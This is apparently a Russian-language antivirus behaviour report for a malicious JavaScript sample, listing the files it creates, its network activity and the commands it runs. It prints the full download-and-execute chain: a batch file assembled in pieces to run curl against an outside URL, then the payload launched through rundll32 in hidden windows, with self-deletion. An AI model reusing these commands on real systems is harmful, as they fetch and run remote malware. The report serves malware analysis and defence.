Техническая информация
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\optio.i.bat
Самоудаляется.
Сетевая активность
Подключается к
- 'ss#.com':80
TCP
Запросы HTTP GET
- http://www.ss#.com/repository/SSLcomRootCertificationAuthorityRSA.crt
UDP
- DNS ASK ss#.com
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c del "<PATH_SAMPLE>.js"' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c echo|set /p="cu" > "%TEMP%\optio.i.bat"' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c echo rl "https://esternos.com/fJUqP/680790116" --output "%TEMP%\quasi.q" --ssl-no-revoke --insecure --location >> "%TEMP%\optio.i.bat"' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c "%TEMP%\optio.i.bat"' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c del "%TEMP%\optio.i.bat"' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c ren "%TEMP%\quasi.q" mollitia.i' (со скрытым окном)
- '<SYSTEM32>\rundll32.exe' "%TEMP%\mollitia.i" Enter' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c del "<PATH_SAMPLE>.js"
- '<SYSTEM32>\cmd.exe' /c echo|set /p="cu" > "%TEMP%\optio.i.bat"
- '<SYSTEM32>\cmd.exe' /S /D /c" echo"
- '<SYSTEM32>\cmd.exe' /S /D /c" set /p="cu" 1>"%TEMP%\optio.i.bat""
- '<SYSTEM32>\cmd.exe' /c echo rl "https://esternos.com/fJUqP/680790116" --output "%TEMP%\quasi.q" --ssl-no-revoke --insecure --location >> "%TEMP%\optio.i.bat"
- '<SYSTEM32>\cmd.exe' /c "%TEMP%\optio.i.bat"
- '<SYSTEM32>\cmd.exe' /c del "%TEMP%\optio.i.bat"
- '<SYSTEM32>\cmd.exe' /c ren "%TEMP%\quasi.q" mollitia.i
- '<SYSTEM32>\rundll32.exe' "%TEMP%\mollitia.i" Enter
